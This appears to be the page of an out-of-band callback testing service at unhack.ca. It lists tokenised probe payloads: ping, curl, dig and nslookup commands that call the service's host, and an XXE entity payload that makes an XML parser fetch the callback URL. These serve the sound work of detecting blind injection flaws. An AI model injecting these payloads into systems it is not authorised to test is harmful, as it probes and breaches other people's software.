$ ping -c1 -p 00dcf87900aaf70908686a09b2a4b500 unhack.ca
 
$ curl http://unhack.ca/p/dcf87900aaf70908686a09b2a4b5
 
$ dig dcf87900aaf70908686a09b2a4b5 @unhack.ca
 
$ dig dcf87900aaf70908686a09b2a4b5.ns.unhack.ca
 
C:\> nslookup dcf87900aaf70908686a09b2a4b5 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/dcf87900aaf70908686a09b2a4b5">]>
    <foo>&xxe;</foo>
Waiting for ping...